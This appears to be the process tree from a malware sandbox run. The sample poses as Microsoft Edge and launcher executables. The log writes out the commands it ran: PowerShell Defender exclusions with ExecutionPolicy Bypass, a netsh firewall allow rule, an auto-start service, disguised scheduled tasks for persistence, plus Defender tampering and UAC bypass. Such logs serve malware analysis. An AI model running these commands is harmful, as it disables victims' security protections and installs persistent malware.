C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"15⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"15⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'16⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"16⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"16⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'17⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV118⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"17⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"17⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'18⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"18⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"18⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'19⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV120⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"19⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"19⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'20⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"20⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"20⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'21⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"21⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"21⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'22⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"22⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"22⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'23⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"23⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"23⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'24⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"24⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"24⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'25⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"25⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"25⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'26⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"26⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"26⤵
- Checks computer location settings
- Loads dropped DLL
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'27⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"27⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"27⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'28⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"28⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"28⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'29⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"29⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"29⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'30⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"30⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"30⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'31⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"31⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"31⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'32⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"32⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"32⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'33⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV134⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"33⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"33⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'34⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"34⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"34⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'35⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"35⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'36⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"36⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"36⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'37⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"37⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"37⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'38⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV139⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"38⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"38⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'39⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"39⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"39⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'40⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"40⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"40⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'41⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"41⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"41⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'42⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"42⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"42⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'43⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"43⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"43⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'44⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"44⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"44⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exeC:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\BootFiles\BootExecutor.exeC:\Windows\System32\BootFiles\BootExecutor.exe1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\system32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\System32\BootFiles\BootExecutor.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_42aef876" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyRefreshTask_42aef876" /XML "C:\Users\Admin\AppData\Local\Temp\ccc637e7-4a71-4ccc-95d1-894fa2c6258f.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_739ec589" /F2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_739ec589" /XML "C:\Users\Admin\AppData\Local\Temp\333eeff8-4838-4755-8d48-a9b743d75470.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "User_Feed_Synchronization-46038549-d186-4297-9e0c-644417b629f2" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "User_Feed_Synchronization-46038549-d186-4297-9e0c-644417b629f2" /XML "C:\Users\Admin\AppData\Local\Temp\845b71ca-2367-42be-a5f0-94a7f71e8f80.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_a9977c4f" /F2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_a9977c4f" /XML "C:\Users\Admin\AppData\Local\Temp\9eea19ea-6f19-4b6e-88bb-a3ebbb75d94d.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_362bbf3b" /F2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Adobe Acrobat Update Task_362bbf3b" /XML "C:\Users\Admin\AppData\Local\Temp\8ae9382a-7992-423e-a2ae-dbb8b3be2e76.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_b5899537" /F2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "Adobe Acrobat Update Task_b5899537" /XML "C:\Users\Admin\AppData\Local\Temp\6f27fcef-ffa6-44cd-a44b-baa7cf37f990.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" K: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" L: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" M: /D2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" N: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" O: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" P: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" Q: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /S2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" R: /D2⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /S2⤵
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" S: /D2⤵
- Enumerates connected drives
-
-
